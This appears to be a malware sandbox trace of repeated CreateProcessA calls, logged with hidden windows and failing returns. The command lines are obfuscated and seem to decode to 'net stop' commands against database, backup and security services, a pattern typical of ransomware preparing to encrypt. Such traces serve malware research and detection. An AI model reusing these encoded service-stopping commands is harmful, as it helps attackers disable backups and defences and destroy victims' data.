	[0092.517] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËØÚÍÍÐÚÜÔÞ͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËØÚÍÍÐÚÜÔÞ͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.517] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËÖßÁÜ×ÞØÞÜÔÜ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËÖßÁÜ×ÞØÞÜÔÜ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.517] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÛÊÔÖ×ÐÍÖËÐ×Þ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÛÊÔÖ×ÐÍÖËÐ×Þ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.518] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÑØËÜÉÖÐ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÑØËÜÉÖÐ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.518] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.519] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.519] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÍÉʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÍÉʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.520] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÍÉÊØÔع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÍÉÊØÔع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.520] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.520] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÏÜÜØÔÊÈÕ«©¨«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÏÜÜØÔÊÈÕ«©¨«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.521] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÛëöîêü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÛëöîêü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.521] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÊøÿüÖÕËÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÊøÿüÖÕËÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.522] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÊÜËÏÜËØÞÜ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÊÜËÏÜËØÞÜ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.522] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÍÜÕÜÔÜÍËÀ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÍÜÕÜÔÜÍËÀ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.522] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÍÜÕÜÔÜÍËÀ½ÜÚÎÝÛ«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÍÜÕÜÔÜÍËÀ½ÜÚÎÝÛ«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.523] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÎëðíü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕÎëðíü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.523] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊêíéÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊêíéÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.524] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êïúÞü÷üëðúÑöêí¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êïúÞü÷üëðúÑöêí¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.524] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆÿðõíü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆÿðõíü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.525] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆêüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆêüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.525] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆìéýøíüƯ­¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êîðÆìéýøíüƯ­¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.525] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍôÚÚÊß¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍôÚÚÊß¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.526] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹íôõðêíü÷¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹íôõðêíü÷¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.526] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍëìüÒü๶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍëìüÒü๶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.527] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍëìüÒüàÊúñüýìõü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍëìüÒüàÊúñüýìõü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.527] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍëìüÒüàÊüëïðúüÑüõéü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÍëìüÒüàÊüëïðúüÑüõéü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.527] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÌЩÝüíüúí¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÌЩÝüíüúí¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.528] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÛøúòìéÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÏüüøôÛøúòìéÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
